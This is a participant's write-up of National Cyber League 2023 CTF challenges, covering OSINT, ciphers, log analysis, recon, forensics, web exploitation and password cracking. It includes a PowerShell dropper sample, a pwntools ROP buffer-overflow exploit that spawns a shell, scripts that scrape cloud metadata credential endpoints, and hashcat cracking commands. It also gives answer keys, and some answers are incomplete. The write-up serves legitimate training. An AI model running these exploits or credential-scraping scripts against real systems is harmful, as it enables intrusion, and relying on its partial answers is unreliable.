National Cyber League

2023

Open Source Intelligence

Waypoints

Document

This information is encoding someone's document information, can you tell us more about what this is encoding?

P<USAFEDDER<<TOM<<<<<<<<<<<<<<<<<<<<<<<<<<<<
9026159592USA9002144M5002146<<<<<<<<<<<<<<02

Prompting ChatGPT for the type of encoding informs us of the following:

The encoding format is a machine-readable version of the information found on the bottom of a passport's biographical page, called the MRZ (Machine Readable Zone).

The specific format of the MRZ varies slightly depending on the issuing country, but generally follows the standard set by the International Civil Aviation Organization (ICAO).

The MRZ consists of two or three lines of characters, which are encoded using OCR-B font, with each line separated by a line break. The characters are arranged in fixed fields and provide information about the passport holder's name, nationality, passport number, date of birth, expiration date, and other details.

The example you provided appears to be the MRZ of a US passport, encoded using the 44-character format.
  1. What is the first name of the person?

    Answer: TOM

  2. What is the last name of the person?

    Answer: FEDDER

  3. When is the person's birthday?

    Answer: 1990-02-14

  4. When is the document's expiration date?

    Answer: 2050-02-14

  5. What is the person's nationality?

    Answer: USA

Esoteric

We have obtained a message but we don't know how to decipher it. Can you find the message?

Message

The matching alphabet was found here.

  1. What is the cipher called?

    Answer: Fordese

  2. What is the message?

    Answer: THE HARDDRIVE SHOULD BE ENCRYPTED WE ARE SAFE

Greek

We intercepted this picture as the rendezvous point for a potential meetup for people selling some stolen information. It looks like it's Greek, but we can't seem to find it in Greece, can you help us find it?

Greek

Seraching up the image with Google Lens yields "Tempio di Esculapio", which is the "Temple of Aesculapius" or "Villa Borghese."

  1. What city was this picture taken in? (70 pts)

    Answer: Rome

Numbers

We have found a list of numbers that seem to be targeting entities in New Zealand. Can you find what organizations are being targeted?

  1. 1743309846

    Searching this up yields the decimal IP address of a server here, belonging to payexpress.net.nz.

    Answer: Payment Express

  2. 3389847817

    Searching yields the ip2long here belonging to nzpost.co.nz.

    Answer: New Zealand Post Limited

  3. 1952048332

    Using this calculator, I was able to convert the number into the IP address 116.89.228.204. Visiting the IP redirects to immigration.govt.nz/.

    Answer: New Zealand Immigration

Cryptography

Decoding 1

A couple of hackers have encoded their messages using different number bases. See if you can decode them.

  1. 00110011 01110010 01100001 01110111 01101011 01100101 01110010 00110001 00110100

    Answer: 3rawker14

  2. 6a777961747433313337

    Answer: jwyatt3137

  3. MHR5emVuMjI4

    Answer: 0tyzen228

Decoding 2

We have obtained an encrypted message. See if you can decode it.

  1. guvf vf n ebggra zrffntr

    Using dCode.fr's cipher identifier tool, we were able to determine that it was ROT13 and decrypt it with this tool.

    Answer: this is a rotten message

  2. Ck tkkj zu noxk zkt ngiqkxy zu hxkgq otzu znk yeyzks

    Same type situation, simply using different ROT keys until the text of one of them made sense. ASCII[!-~]+6 gave us the following, which wasn't right but looked very close: =eneedtohiretenhackerstobreakintothes_stem. Continuing down the page, we found the right answer with [A-Z]+6.

    Answer: We need to hire ten hackers to break into the system

Decoding 3

We have obtained an encoded message. See if you can decode it.

  1. What is the plaintext of the message: 109 101 101 116 32 109 101 32 97 116 32 103 97 114 97 103 101 32 115 112 97 99 101 32 53 54 48 32 102 111 114 32 116 104 101 32 100 114 111 112 (25 pts)

    We simply needed to use "From Decimal" on CyberChef to convert the decimal numbers into ASCII characters.

    Answer: meet me at garage space 560 for the drop

Rolling

We just overheard someone drop off this file while singing "they see me rolling my crypto" 🎶

The file looks to be encrypted and we don't have any decryption keys for this, can you find out how it's encrypted and decipher the original message?

  1. What file data format is this encrypted image?

    Answer: PPM

  2. What is the flag?

    Opening the image with the standard Ubuntu image viewer, we were able to see the flag within the image.

    Answer: SKY-CLIP-8351

  3. What encryption mode was this image encrypted with?

    Answer: ECB

PGP

We're sending you a secure communication, please decrypt the message. Please then respond to the encrypted message using the same encryption protocol here. We'll decrypt your message and read its contents.

Note: Please use a reputable tool that supports Modification Detection Code (MDC) as that is the best practice to correctly craft your response.

The original message:

-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.10
Comment: https://openpgpjs.org

wYwDCGklPwNpJTUBA/46jS9I4iRse1i1QsOtvfBlj8gpCaH3X+ba8s1mpu4h
DVMq3b5wzyrz1vEwlDxAF0C1WDxvwhQCaLNJHd1FU5Y+x54kHUP6Lz3mFJcc
H+mujox39pwUaC3b+wsO/UANIRZCINjVjbOGB/yhgKqJtcm4uKlsmJb/2ulh
ZcMKdOtDHtLABwF6bcvmPH4odahbbsrK26LhjXPr+Nh+s19sivgpAjXTyh6T
0Dauu4hAwFILW7U0pA7Pv+WwG6lQxJfXbry+1DGm8PL7ghDYxulxpuVLSK7l
I/hkNb1Icsh2jsq8JMyBvHzce6dujOSDOYbtWgDQeJQaaRiYeylnnpFzruNN
KwC6/nykCKozMNaSETekJlgMlnG8xTzx4dGWjzpqOCT452s6AiEcNx2gceFk
j3cgLXy3j7af+vlUHo3Fy7jfxTJlh3Q9q4IXjcQ=
=FXGU
-----END PGP MESSAGE-----

We were also given the files cyber_command.pub and user.keys to use. I was able to use openpgpjs to decrypt the message and get the contents:

Please reply in encrypted form that "the flag is SKY-PGPM-8752"

As long as you include the flag in the encrypted message, it'll be accepted.

So we were able to use CyberChef to encrypt the given text and generate the answer.

Answer:

-----BEGIN PGP MESSAGE-----
Version: Keybase OpenPGP v2.1.15
Comment: https://keybase.io/crypto

wYwDP788M89ptnwBBACVrUXbaD31p0ZseI+ELCzNxvAJgtU2Xd8W8SKXGQql0pu1
lDXgxbfhh/wg/DqX+3aXtTLDH9JSGneV132wC3nSBmv70PjHPE15XB8w2tMljTGm
gMP619HUgFny1NXkzkz8/f+VfrUpk44O0akFTcQzMzJwSNnBC2ebhQRGfVxREtJV
AU1QbKs0T0sKSxDswwsQkyqrTwcxpCozax+DTiFY3Rg2Dl01peVZx/mDZNfyw0rv
ZHiD1Tdf8mKpemSFp7jEXW1v1fmK4OeGVy11fnzjdQs665SfJQ==
=PCeD
-----END PGP MESSAGE-----

AES

Hackers have encrypted a sensitive flag. We know they used AES 128-bit CBC mode encryption and that they used the UNIX timestamp as their encryption password. We believe they encrypted this file some time on 2023-01-01. Analyze the encrypted data and break their encryption and retrieve the flag.

  1. When was the file encrypted? (25 pts)

    Using Unix Time Stamp, we were able to determine that the first timestamp for the given date is 1672549200. We can start there and iterate through the next 24 hours to find the correct timestamp.

    import base64
    import binascii
    from Crypto.Cipher import AES
    
    def decrypt(ciphertext, key, iv):
        cipher = AES.new(key, AES.MODE_CBC, iv)
        return cipher.decrypt(ciphertext)
    
    def main():
        ciphertext = base64.b64decode(open("ciphertext", "rb").read())
        iv = ciphertext[:16]
        ciphertext = ciphertext[16:]
    
        for i in range(0, 86400):
            key = str(1672549200 + i).encode()
            try:
                print(decrypt(ciphertext, key, iv).decode())
            except binascii.Error:
                pass
    
    if __name__ == "__main__":
        main()
    

    Haven't tested it yet, but according to Salah#9261 this should do the trick:

    sha_hash = hashlib.sha256(b'timestamp').digest()
    key, iv = sha_hash[:16], sha_hash[16:]
    aes = AES.new(key, AES.MODE_CBC, iv)
    pt= aes.decrypt(ct)
    print(k.hex())
    print(pt)
    

    Answer: ``

Steg

We've intercepted this image of a hard drive which allegedly contains a secret message, we see there's some weird distortions on the image, but can't find any meaningful data.

Chris

  1. What is the hidden flag? (75 pts)

    I tried using steghide extract -sf chris.png, but steghide doesn't work on PNG images. exiftool chris.png didn't yield any info of interest either.

    Using the ctfs.cryptography.steganography#stego-toolkit (Private) confirmed that it is truly a PNG image, and zsteg indicated that there is likely stego at play. When I ran zsteg -a chris.png, I found the flag scrolling through the results.

    Answer: SKY-PINE-3054

Log Analysis

Web

What can you figure out from these web server logs?

  1. How many unique IP addresses accessed the server?

    We can use awk to get the first column of the log file, which is the IP address. We can then pipe that into sort to sort the IP addresses and then pipe that into uniq to get the unique IP addresses. Finally, we can pipe that into wc -l to get the number of lines, which is the number of unique IP addresses.

    awk '{print $1}' access.log | sort | uniq | wc -l
    

    Answer: 78

  2. What IP made the most requests?

    We can use awk to get the first column of the log file, which is the IP address. We can then pipe that into sort to sort the IP addresses and then pipe that into uniq -c to get the number of times each IP address appears. Finally, we can pipe that into sort -n to sort the IP addresses by the number of times they appear and then pipe that into tail -n 1 to get the last line, which is the IP address with the most requests.

    awk '{print $1}' access.log | sort | uniq -c | sort -n | tail -n 1
    

    Answer: 13.212.104.192

  3. What was the most common user agent?

    We can use awk to get the 12th column of the log file, which is the user agent. We can then pipe that into sort to sort the user agents and then pipe that into uniq -c to get the number of times each user agent appears. Finally, we can pipe that into sort -n to sort the user agents by the number of times they appear and then pipe that into tail -n 1 to get the last line, which is the user agent with the most requests.

    awk '{for (i=12; i<=NF; i++) printf $i " "; print ""}' access.log | sort | uniq -c | sort -n | tail -n 1
    

    Answer: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

  4. How many POST requests were made?

    We can use awk to get the 6th column of the log file, which is the request method. We can then pipe that into grep POST to get the number of POST requests and then pipe that into wc -l to get the number of lines, which is the number of POST requests.

    awk '{print $6}' access.log | grep POST | wc -l
    

    Answer: 47

  5. How much data did the server send throughout the whole log?

    We can use awk to get the 10th column of the log file, which is the number of bytes sent. We can then pipe that into awk '{sum+=$1} END {print sum}' to get the sum of the bytes sent.

    awk '{print $10}' access.log | awk '{sum+=$1} END {print sum}'
    

    The answer is not 90314, which is what that command gives us. So we can try to ignore any lines that have a 404 status, in case that isn't supposed to count:

    awk '!/ 404 /{sum+=$10} END {print sum}' access.log
    

    That gives us 22680, which is also not the correct answer.

    Answer: ``

Email Compromise

After a recent compromise you have been tasked with analyzing logs from your businesses cloud email provider. Can you figure out what happened?

We have the email logs and the DNS logs from the time of the compromise.

  1. What cloud service made these email logs? (10 points)

    The log files indicate the usage of Outlook, which is a Microsoft product; we can use that information to make the assumption that the cloud service is Microsoft Exchange.

    Answer: Microsoft Exchange

  2. What domain was used to compromise an employee? (20 points)

    The answer is not 33490a8068184d69ac8e8a04a88c384b7ee3a9f7.cws.conviva.com or world-gen.g.aaplimg.com.

    Answer: gmial.com

  3. What was the message ID of the email that resulted in the compromise? (20 points)

    The email support@gmial.com communicates in b8339b79-a7fd-48cd-bec9-6e7d8394bb4d.

    An alternative method used by sunmethods was to group by the email subject text and look for anomolies, using the following command:

    cat email.log | awk -F"," '{print $6}' | awk '{print $1}' | sort | uniq -c | sort -nr
    

    Answer: 3DBF7A641A6049AB81E2038C7C54A106

  4. What is the IP of the machine that was compromised? (50 points)

    We know the user who was compromised is Selina_Hartmann61@cityinthe.cloud. The answer is not 191.109.142.49, 165.212.116.187, or 229.220.166.59, even though they all appear in logs with that email address.

    In the end, it turns out that in dns.log we can see the machine that requested the interaction with gmial.com, so it wasn't in the email logs at all!

    Answer: 208.67.222.222 (after-hours)

Fraud

We think that one of the customers at metro bank has made a fraudulent purchase recently, can you figure out who?

Log file

  1. What account was used to make a fraudulent purchase?

    One approach detailed by cybersquirrelfl is to find the most rare category purchase for each user, using the following command:

    cat fraud.log | awk '{print $3" "$2}' | sort | uniq -c | sort -n | head
    

    Answer: Dawson_Kautzer18 (after-hours)

  2. At what time was it made? (Round to the nearest minute)

    Answer: ``

Scanning & Reconnaisance

Ports

Can you figure out what ports are running on the hostname target?

The command we're going to use for target is nmap -sV -sC -p- target. This was the output:

Starting Nmap 7.91 ( https://nmap.org ) at 2023-04-01 14:22 UTC
Nmap scan report for target (10.6.67.196)
Host is up (0.0000070s latency).
rDNS record for 10.6.67.196: 64283d5340649ac8cbdaed64.c-6424803180e21157a6c5f886-t-63d8118d6381a13add8b1ddb-port-scan
Not shown: 65530 closed ports
PORT     STATE SERVICE     VERSION
18/tcp   open  msp?
140/tcp  open  emfis-data?
1118/tcp open  sacred?
3087/tcp open  asoki-sma?
7271/tcp open  unknown
MAC Address: 02:42:0A:06:43:C4 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 245.88 seconds
  1. What is the lowest open port?

    Answer: 18

  2. What is the second lowest open port?

    Answer: 140

  3. What is the third lowest open port?

    Answer: 1118

  4. What is the fourth lowest port?

    Answer: 3087

  5. What is the highest open port?

    Answer: 7271

Who (Medium)

There's a WHOIS server on whois.services.cityinthe.cloud:4343 that's holding onto a flag, we don't know which domain is holding onto a flag but we know one of the top 1000 domains on the Internet is the one that has the flag.

Note: your scope is limited to the provided port number on this host.

  1. What is the domain that's holding the flag? (50 points)

    See whois_queries.py for the script used to solve this challenge.

    Answer: google.com.sg

  2. What is the flag? (50 points)

    Answer: SKY-WHOS-6012

Metadata (Hard)

We have found what appears to be a server on metadata.services.cityinthe.cloud:1338 displaying metadata about something. Can you find out more information?

Note: your scope is limited to the provided port number on this host.

  1. What availability zone is this instance hosted in? (10 points)

    Visiting metadata.services.cityinthe.cloud:1338 in the browser simply shows the text "latest". A reasonable assumption would be that this is the next listed directory, so we can navigate to metadata.services.cityinthe.cloud:1338/latest. This shows a list of directories, including meta-data. Continuing to navigate, eventually we can get to http://metadata.services.cityinthe.cloud:1338/latest/meta-data/placement/availability-zone.

    Answer: us-west-2a

  2. What is the security credentials role named? (10 points)

    We can see the text "ura-launch-wizard-harry-1" at http://metadata.services.cityinthe.cloud:1338/latest/meta-data/security-groups, but that isn't what is being asked for. It seems like Amazon has a guide to accomplish this exact task, and when we follow it, we can find the role name at http://metadata.services.cityinthe.cloud:1338/latest/meta-data/iam/security-credentials.

    Answer: liber8-role

  3. What is the instance type being used? (15 points)

    The answer can be found at http://metadata.services.cityinthe.cloud:1338/latest/meta-data/instance-type.

    Answer: c6g.16xlarge

  4. What major OS version is being used? (20 points)

    We can get the kernel ID of "aki-5c21674b" at http://metadata.services.cityinthe.cloud:1338/latest/meta-data/kernel-id, but that isn't what is being asked for. Following the Amazon guide here leads us to http://metadata.services.cityinthe.cloud:1338/latest/meta-data/ami-id, which gives the version "ami-08305dd8ab642ad8c". We can search that up here and it gives us the operating system version.

    Answer: 16

  5. What is the flag? (45 points)

    Searching up the reservation-id of "r-046cb3eca3e201d2f" leads us to a configuration file that indicates the use of this configuration setup on the server in question. This gives us a baseline to search for changes in the configuration file, which includes the liber8-role that was previously named "baskinc-role".

    The OpenSSH key is the same, as is the public IPv4, reservation ID, ramdisk ID, MAC...

    Unfortunately, product-codes is empty. There may be some useful tradecraft in this article if I have the time to check it out.

    One solution suggested by Ryan1#5228 was to recursively scrape the directories and search for the flag that way:

    import requests
    
    def recursive_scrape(url, level, to_print):
      print("\t"*level + to_print)
      resp = requests.get(url)
      if resp.status_code != 200:
        return
      lines = resp.text.splitlines()
      for l in lines:
        recursive_scrape(url + "/" + l, level + 1, l)
    
    recursive_scrape("http://metadata.services.cityinthe.cloud:1338", 0, "/")
    

    There was a similar approach suggested by seqre#4526 using Bash:

    #!/bin/bash
    
    METADATA_URL="http://metadata.services.cityinthe.cloud:1338/latest/meta-data/"
    
    function retrieve_metadata {
      local url="$1"
      local prefix="${2:-}"
      local categories=$(curl --silent $url)
      for category in $categories; do
        local full_url="$url$category"
        local full_prefix="${prefix}${category}"
        if [[ $category =~ /$ ]]; then
          retrieve_metadata "$full_url" "$full_prefix"
        else
          local value=$(curl --silent "$full_url")
          echo "$full_prefix: $value"
        fi
      done
    }
    
    retrieve_metadata "$METADATA_URL"
    

    Answer: `` (after-hours)

Enumeration & Exploitation

Dropper

We manged to find this sample of malware. What can you tell us about it?

$user = $env:UserName
$p = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64("U3RhcnQtU2xlZXAgLVNlY29uZHMgMjUwCkdldC1DaW1JbnN0YW5jZSAtQ2xhc3NOYW1lIFdpbjMyX1F1aWNrRml4RW5naW5lZXJpbmcgPiBDOlxpbmZvCg=="))
$path =  "C:\Users\$user\sysinfo.ps1"
$p | Out-File -FilePath $path

$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$actions = (New-ScheduledTaskAction -Execute $path)

$trigger = New-ScheduledTaskTrigger -Daily -At '12:00pm'
$principal = New-ScheduledTaskPrincipal -UserId $user -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -RunOnlyIfNetworkAvailable -WakeToRun
$task = New-ScheduledTask -Action $actions -Principal $principal -Trigger $trigger -Settings settings

Register-ScheduledTask 'Sys Info' -InputObject $task
  1. What language is the dropper script written in?

    Answer: PowerShell

  2. What time of day will the malware run its payload?

    Answer: 12:00pm

  3. What is the name of the file the payload is saved as?

    Answer: sysinfo.ps1

  4. What path does the payload save information to?

    Can decode the Base64 data on CyberChef to get this information and the info for the following questions.

    Answer: C:\info

  5. How many seconds does the payload stay dormant?

    Answer: 250

  6. What CIM class is it looking at?

    Answer: Win32_QuickFixEngineering

Ground floor

Can you figure out what this code sample is doing?

section .text
global main
extern scanf

main:
  mov rax, 1
  mov rdi, 1
  mov rsi, message
  mov rdx, 28
  syscall

  push rax
  push rcx

  mov rdi, format
  mov rsi, buff

  call scanf

  pop rcx
  pop rax

  xor rbx, rbx
enc:
  mov rdx, buff
  add rdx, rbx
  mov byte al, [rdx]
  xor al, 0x27

  mov rdx, encbuff
  add rdx, rbx

  mov byte [rdx], al

  inc rbx
  cmp rbx, 13
  jne enc

  xor rbx, rbx
iseq:
  mov rdx, enctext
  add rdx, rbx
  mov byte al, [rdx]

  mov rdx, encbuff
  add rdx, rbx

  mov byte cl, [rdx]

  cmp al, cl
  jne end

  inc rbx
  cmp rbx, 13
  je win

  jmp iseq

win:
  mov rax, 1
  mov rdi, 1
  mov rsi, winmessage
  mov rdx, 8
  syscall

end:
  mov rax, 60
  xor rdi, rdi
  syscall

section .data
message: db `welcome to the ground floor\n`,27
format: db '%13s\n',6
enctext: db 074h, 06ch, 07eh, 0ah, 066h, 074h, 06ah, 065h, 0ah, 013h, 01fh, 015h, 01eh
winmessage: db `You win\n`,8

section .bss
buff: resb 14
encbuff: resb 14
  1. What language is this written in?

    Answer: Assembly

  2. What is the flag?

    Answer: ``

Memfrob

One of our security engineers claimed to have developed the world's most advanced encryption scheme using the memfrob function and even open sourced the code! Can you break the code and get the flag from the remote server? The same program is running on the machine's port 1337.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <err.h>

void init(){
    setvbuf(stdout, NULL , _IONBF , 0);
    setvbuf(stderr, NULL , _IONBF , 0);
    setvbuf(stdin, NULL , _IONBF , 0);
}

int main(void){
    init();
    char buf[64];
    puts("Enter string to be encrypted: ");
    ssize_t bytes = read(0, buf, 0x100);
    if(bytes < 0){
        errx(1, "read error");
    }
    memfrob(buf,bytes);
    printf("Frobnicated Data: %s\n",buf);
    return 0;
}

We are given the files source.c and compiled_program for this challenge.

  1. What is the flag on the server? (100 pts)

    This C++ code reads an input string, encrypts it using memfrob function, and prints the encrypted data to the console. To get the flag, we need to reverse the encryption process.

    The memfrob function performs an XOR operation on each byte of the input string with the value 42 (0x2A in hexadecimal). To decrypt the data, we need to perform the same XOR operation on each byte of the encrypted data with the value 42.

    We can connect to the server with nc localhost 1337, then input a string like thisismystring and get the output ^BCYCYGSY^XCDM. We can decrypt the frobinated data back to normal text with the following Python code:

    encrypted_data = input("Enter the encrypted data: ")
    decrypted_data = ""
    for byte in encrypted_data:
        decrypted_data += chr(ord(byte) ^ 42)
    print("Decrypted Data:", decrypted_data)
    

    Some binex reading suggested by rooted#7892 is available here, and should give more insight into how to approach problems like this in the future.

    One user (stan#1482) suggested using JavaScript, like so:

    "00000000400788e9".match(/.{1,2}/g).map(e => (parseInt(e, 16) ^ 42).toString(16).padStart(2, "0")).join("");
    

    Another user (monkey_noises#5256) wrote a much lengthier Python script to do the same thing:

    from pwn import *
    
    binary = args.BIN
    
    context.terminal = ["tmux", "splitw", "-h"]
    e = context.binary = ELF(binary)
    libc = e.libc
    
    gs = '''
    break main
    continue
    '''
    
    def start():
        if args.GDB:
            return gdb.debug(e.path, gdbscript=gs)
        elif args.REMOTE:
            return remote("target", 1337)
        else:
            return process(e.path)
    
    p = start()
    
    # Frob the Data
    def defrob(bytes):
        chain = b''
        for bt in bytes:
            chain += xor(bt, b'\x2a')
        return chain
    
    # Gadgets
    rdi = p64(0x400873)
    movaps = p64(0x400874)
    
    # Craft Payload
    chain = cyclic(0x58)
    chain += rdi
    chain += p64(e.got['puts'])
    chain += p64(e.plt['puts'])
    chain += p64(e.sym['main'])
    
    p.sendline(defrob(chain))
    
    # Get Leak
    p.recvuntil(b'@\n')
    leak = u64(p.recvline().ljust(8, b'\x00')) - 0xa000000000000 - libc.sym['puts']
    print(hex(leak))
    
    libc.address = leak
    r = ROP(libc)
    
    chain = cyclic(0x58)
    chain += p64(r.find_gadget(['ret'])[0])
    chain += p64(r.find_gadget(['pop rdi', 'ret'])[0])
    chain += p64(next(libc.search(b'/bin/sh')))
    chain += p64(libc.sym['system'])
    
    p.sendline(defrob(chain))
    p.interactive()
    

    Answer: ``

Web Application Exploitation

Shopping

Eggs at Metro Grocery have been very low stock lately, but we see there's plenty of it in store. Can you help us stock up the online shop?

Note: Your scope is limited to HTTPS & you may not use automated & random bruteforce tools for this challenge.

  1. What server side web framework does this app use?

    I was able to find this very easily by just dropping the URL into WhatCMS. Additionally, to find it manually, you can inspect a web request to the server and look at the X-Powered-By header.

    Answer: Express

  2. What is the flag you obtain after adding 100 or over eggs to your cart?

    We can view the add function code, which is what's called when using the UI to add things to the cart, by visiting https://07fc634407a5d3f3b9af6f12642472c9-metro-grocery.web.cityinthe.cloud/static/app.js. That shows us the following:

    function renderCart(cart) {
      const list = $('#list');
      list.empty();
      _.each(cart, (count, item) => {
        list.append($('<li>').text(`${count} - ${item}`));
      });
    }
    
    async function add(item) {
      try {
        const res = await superagent.post('/add').send({ item, amount : 1 });
        const { body : cart } = res;
        renderCart(cart);
      } catch (err) {
        console.log(err);
      }
    }
    
    async function clearCart() {
      try {
        const res = await superagent.get('/clear');
        const { body : cart } = res;
        renderCart(cart);
      } catch (err) {
        console.log(err);
      }
    }
    

    Whenever I send an additional request for eggs when the cart already contains 12, the following error message is the response: Error: Cannot make cart exceed the set limit.

    We can also see that superagent@3.8.0 is used, which has an information exposure vulnerability that allows us to view the source code of the server.

    I was able to discover that we can set the eggs to negative amounts, which doesn't help us in this case but is still interesting. I tried excessive negative numbers to achieve an overflow but it was unsuccessful. In the past I've been able to retrieve server-side Express files for logic analysis via LFI, but that doesn't appear to be applicable in this application.

    Interestingly enough, not only can the value sent up be negative, it can also be a string! Unfortunately, strings like "101" are still detected as bypassing the limit and are blocked. The item also has to exist, when I tried changing it from "eggs" to "flag" we got the response Error: Item does not exist. Sending up things like "99 + 2" works fine, but it is stored as a string instead of being expanded into a number.

    I tried adding a space, like " 101 ", but it was still interpreted as greater than the threshold. The same problem occurred when doing "1", "0", and "1", as well as when I tried ["100"].

    After losing my mind, I decided to give in and purchase a hint for 20 points. This is what I got: Look at how the programming language used to build this handles types. So it wasn't helpful at all!

    Back to the drawing board: "1_00" was unsuccessful, as was 1_00. Setting the value to true didn't error out, but didn't succeed either. Trying "0100" was as fruitless as all previous attempts. Trying to use the backtick syntax like `105` failed as well.

    According to 0x0x0x0x0x#5858, you can simply add one egg then pass a string of three zeroes the next time and the flag will be returned.

    Answer: ``

Attack Portal

We have discovered a site made by the Liber8tion hacking group that appears to be targeting our flags. Can you see if you can leverage their platform to steal the flags back?

Note: Your scope is limited to HTTPS & you may not use automated & random bruteforce tools for this challenge.

  1. What data format is the input being sent in?

    I simply used the form values localhost, 443, and SSL as a demo, and it turned out to work perfectly.

    Answer: JSON

  2. What is the flag?

    Answer: SKY-PNXP-8009

File Server (Hard)

We found a Liber8tion site that seems to be hosting files. Can you get around their security and get the flag?

Note: Your scope is limited to HTTPS & you may use automated tools for this challenge.

  1. What is the email address of the person who created the server? (30 points)

    Trying to manually download all the listed flags works on most files, but we get a "You do not have permission to download this file." error on file4.txt and on flag.txt. The format of the URLs on button clicks is https://07fdef6507a45fd2b9aee3336425fee8-fileserver.web.cityinthe.cloud/download/[filename].txt. When I try to use a relative path like /download/../../root/flag.txt, it simply removes the ../ and tries to get the resource from the remaining part of the URL, which is /root/flag.txt.

    Uploading files in the same format works as well, which indicates that there's a possibility to achieve a reverse shell if we can get the uploaded file to execute somehow. When I try things like /download, I get the error message "The URL you requested was not found on this server." But when I try /download/app.js, I get "File Not Found".

    Using WhatCMS informs us that Express is being used alongside Node.js on an Nginx server.


    What we could've done is use gitdumper, which should've been apparent due to the inclusion of the x-commit-hash header. That tells us that /.git exists and likely contains information of interest.

    Answer: `` (after-hours)

  2. What is the flag? (70 points)

    Answer: ``

Forensics

Lost (Easy)

Tristan managed to lose a file. Can you help them find it?

Thebin.7z

  1. What is the original path for this file? (25 points)

    strings ./\$IW0HV5B.txt -n 1
    

    Answer: C:\Users\Tristan\Desktop\secrets.txt.txt

  2. What is the flag? (75 points)

    Extracting the archive and viewing the contents of $RW0HV5B.txt gives us the flag.

    Answer: SKY-RECY-8731

Fruit (Medium)

What info can you extract from this configuration file?

  1. What format is this configuration stored in? (15 points)

    Answer: plist

  2. What OS did this file come from? (15 points)

    Answer: MacOS

  3. What profile is selected in the configuration? (20 points)

    sudo apt install libplist-utils
    plutil -i ./fruit.plist
    

    This gives us an xml file that we can open in a text editor. The profile is the first item in the dict tag.

    The answer is not Homebrew, 0, 1, or None.

    Answer: Basic

  4. What font is being used by the profile? (25 points)

    I saw the text WCourier in the file, but that wasn't the right answer. Continuing to skim through and look for recognizable font names yielded the answer.

    Answer: SFMono-Regular

  5. What font size is being used by the profile? (25 points)

    The answer is not 2.0699999999999998, 1.004032258064516, 0.99596774193548387, or 27.

    One resource that Sterling#7801 suggested using for this is this blog post.

    Answer: ``

Headless (Hard)

...

Password Cracking

Hashing (Easy)

Generate hashes for various passwords.

  1. What is the MD5 hash of the password thelastofus4820? (10 points)

    Answer: 18120ffabe8bcad0c96a1a01a73bd576

  2. What is the SHA1 hash of the password 0464succession? (10 points)

    Answer: bbb77b19fd4626f2cb201ada1144e16324f83b34

  3. What is the SHA256 hash of the password 14gameofthrones69? (10 points)

    Answer: 1bca61870f959349b2d10ffca43eacdd32dc8a6db58619a98a86b55bdf0a7d0c

Cracking 1 (Easy)

We have obtained password dumps storing hacker passwords. After obtaining a few plaintext passwords, it appears that they overlap with the passwords from the rockyou breach.

  1. 01a1d0fecb12bebe060010f9401deb0f (15 points)

    echo 01a1d0fecb12bebe060010f9401deb0f > hash.txt
    hashcat -m 0 -a 0 -w 3 -O hash.txt /usr/share/wordlists/rockyou.txt
    

    Answer: flaminice1

  2. 935197061ae87b089caebe0d73698bf5 (15 points)

    echo 935197061ae87b089caebe0d73698bf5 > hash.txt
    hashcat -m 0 -a 0 -w 3 -O hash.txt /usr/share/wordlists/rockyou.txt
    

    Answer: 0861441565

  3. ef9d090ef3886055bd538ae07c71638a (15 points)

    echo ef9d090ef3886055bd538ae07c71638a > hash.txt
    hashcat -m 0 -a 0 -w 3 -O hash.txt /usr/share/wordlists/rockyou.txt
    

    Answer: labomba280993

Cracking 2 (Easy)

We have obtained password dumps storing hacker passwords. Try your hand at cracking them.

  1. 674A39DDBED0516A09752A3293831D17:ECF6A7A6E464D9E7D59F0ED50A1CBCC3 (15 points)

    Looks to be a salted MD5 hash, so we can try cracking it with hashcat:

    echo 674A39DDBED0516A09752A3293831D17:ECF6A7A6E464D9E7D59F0ED50A1CBCC3 > hash.txt
    hashcat -m 10 -a 0 -w 3 hash.txt /usr/share/wordlists/rockyou.txt
    

    That was exhausted. Then I realized it was the wrong format entirely, it was Windows NTLM hashes like in Cracking 4. We can solve it with ophcrack.

    # Download from http://ophcrack.sourceforge.net
    ./configure --disable-gui
    make
    sudo make install
    

    TODO!!!

    Answer: segoka59

  2. 59CCD4BB199A33CB9C5014AE4718A7EE:0E13B46A94051C23C0FC7E145839EBB7 (15 points)

    Answer: bebuqo35

  3. 55CD1AEE7B2F48BEC2265B23734E0DAC:8F0DEE8EA61EB469D2DAEA207A41A18A (15 points)

    Answer: oxacor31

Cracking 3 (Medium)

We have obtained password dumps storing hacker passwords. It appears that they are all in the format: SKY-PASS- followed by 4 digits. Can you crack them?

  1. 1ce835acd86fd68f0d033ba25cca5b20 (15 points)

    We can use the following command to crack the hash:

    echo 1ce835acd86fd68f0d033ba25cca5b20 > hash.txt
    hashcat -m 0 -a 3 ./hash.txt 'SKY-PASS-?d?d?d?d'
    

    Answer: SKY-PASS-7568

  2. 43bb715fcdf3808389486d373b1fe703 (15 points)

    Answer: SKY-PASS-0131

  3. c96f795b54be9eded3cb3edd85404148 (15 points)

    Answer: SKY-PASS-5475

Cracking 4 (Hard)

We have obtained password dumps storing hacker passwords. They appear to be default passwords to IoT devices. We know these default passwords follow a pattern: a noun + a major US city + 2 digits and have found a list of nouns used. Can you figure the passwords out?

  1. 3d9bd851f3d43f895011c8e6a9d549ba (15 points)

    I got the list of cities from here. I used the following command to crack the hash:

    echo 3d9bd851f3d43f895011c8e6a9d549ba > hash.txt
    for i in $(cat nouns.txt); do for j in $(cat cities.txt | tr '[:upper:]' '[:lower:]'); do for k in {0..99}; do printf "%s%s%02d\n" "$i" "$j" "$k"; done; done; done > wordlist.txt
    hashcat -a 0 -m 0 hash.txt wordlist.txt
    

    Answer: imaginationmiami86

  2. 3c3ab9cd5ca95c4858ce060a8a5d08cd (15 points)

    TODO: Figure out why this one and the next one don't work, when the first one did.

    Answer: ``

  3. 515eae8a93e62b73b5346f2151cc92a0 (15 points)

    Answer: ``

Cracking 5 (Hard)

Our analysts have obtained password dumps storing hacker passwords, they all seem to be the same theme. Can you figure them out?

  1. b984d8596da227068836b45a505379c2 (10 points)

    Answer: ``

  2. 7ae47b878f3c78bcfd68b31e8521d828 (10 points)

    Answer: ``

  3. 4f51467cdd1bc3d6761544a99c21ab96 (20 points)

    Answer: ``

